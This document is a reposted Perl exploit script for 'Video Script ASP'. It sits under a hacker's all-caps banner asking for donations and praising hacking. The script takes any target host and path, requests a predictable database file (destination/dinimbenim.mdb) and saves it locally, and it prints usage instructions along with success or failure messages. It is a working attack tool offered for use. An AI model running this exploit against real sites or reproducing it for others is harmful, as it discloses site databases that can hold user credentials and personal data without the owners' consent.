Video Script ASP Database Disclosure Exploit

HII!!! GUYES NOW A DAYS IT IS VERY HARD TO RELEASE THOSE SECRETS !! WITH OUT ANY MONEY SUPPORT IT IS VERY HARD TO CARRY ON ON SPECIAL PROJECTS !! PLASE HELP ME OUT BY SENDING MONEY AS YOU WISH !! AND PLEACOMMENTS ON THE POSTS !! AND FEEL PROUD TO BE A HACKER !! LOVE YOUR MOTHER LAND AND LEARN AS MUCH POSSIBLE !! HAVE A RED SALUTE !!!!! TAKE CARE GUYES !!!!!

Video Script ASP Database Disclosure Exploit
#!/usr/bin/perl -w
#
# Video Script ASP Database Disclosure Exploit 
#
# Found & Coded: Tringle2011 & indoushka 
# 
# Date: 25/04/2011
#
#
# Download : http://www.scriptmafia.org/
 
 
 
use LWP::Simple;
use LWP::UserAgent;

system('cls');
system('Video Script ASP Database Disclosure Exploit');
system('color a');


if(@ARGV < 2)
{
print "[-]How To Use\n\n";
&help; exit();
}
sub help()
{
print "[+] usage1 : perl $0 site.com /path/ \n";
print "[+] usage2 : perl $0 localhost / \n";
}

($TargetIP, $path, $File,) = @ARGV;

$File="destination/dinimbenim.mdb";
my $url = "http://" . $TargetIP . $path . $File;
print "\n wait!!! \n\n";

my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => "D:/dinimbenim.mdb");

if ($request->is_success)
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to D:/dinimbenim.mdb\n";
exit();
}
else
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
}